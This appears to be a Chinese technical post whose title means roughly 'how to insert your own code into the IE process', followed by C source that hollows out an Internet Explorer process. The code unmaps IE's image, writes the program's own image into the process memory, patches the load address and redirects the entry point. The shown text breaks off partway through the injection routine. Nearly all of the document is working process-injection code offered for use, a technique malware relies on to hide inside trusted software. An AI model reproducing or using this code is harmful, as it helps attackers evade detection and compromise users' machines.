把自身插入到IE进程里的代码的办法[网络技术]

#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
      HANDLE ProcessHandle,
      PVOID BaseAddress
      );

typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS;

char szIePath[MAX_PATH];

BOOL FindIePath(char *IePath,int *dwBuffSize);
BOOL InjectProcess(void);
DWORD GetSelfImageSize(HMODULE hModule);

BOOL CreateInjectProcess(
       PPROCESS_INFORMATION pi,
       PCONTEXT pThreadCxt,
       CHILDPROCESS *pChildProcess
       );

int main(void)
{
if (InjectProcess() )
{
   printf("This is my a test code,made by shadow3.\r\n");
}
else
{
   MessageBox(NULL,"进程插入完成","Text",MB_OK);
}

return 0;
}

BOOL FindIePath(char *IePath,int *dwBuffSize)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '\0';
   lstrcat(szSystemDir,"\\ProgramFiles\\Internet Explorer\\iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}

BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory(szModulePath,MAX_PATH);
ZeroMemory(szIePath,MAX_PATH);

GetModuleFileName(NULL,szModulePath,MAX_PATH);
FindIePath(szIePath,NULL);

if ( lstrcmpiA(szIePath,szModulePath) == 0 )
{
   return FALSE;
}

hModule = GetModuleHandle(NULL);
if ( hModule == NULL )
{
   return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

if ( CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess) )
{
   printf("CHILD PID: [%d]\r\n",pi.dwProcessId);
 
 
   if ( ZwUnmapViewOfSection(
    pi.hProcess,
    (LPVOID)stChildProcess.dwBaseAddress
    ) == 0 )
   {
    lpVirtual = VirtualAllocEx(
     pi.hProcess,
     (LPVOID)hModule,
     dwImageSize,
     MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
     );
  
    if ( lpVirtual )
    {
     printf("Unmapped and Allocated Mem Success.\r\n");
    }
  
   }
   else
   {
    printf("ZwUnmapViewOfSection() failed.\r\n");
    return TRUE;
   }
 
   if ( lpVirtual )
   {
    PPEB = (DWORD *)ThreadCxt.Ebx;
  
    // 重写装载地址
  
    WriteProcessMemory(
     pi.hProcess,
     &PPEB[2],
     &lpVirtual,
     sizeof(DWORD),
     &dwWrite
     );
  
  
    if ( WriteProcessMemory(
     pi.hProcess,
     lpVirtual,
     hModule,
     dwImageSize,
     &dwWrite) )
    {
     printf("image inject into process success.\r\n");
   
     ThreadCxt.ContextFlags = CONTEXT_FULL;
     if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
     {
      ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
     }
     else
     {
      ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
     }

#ifdef DEBUG

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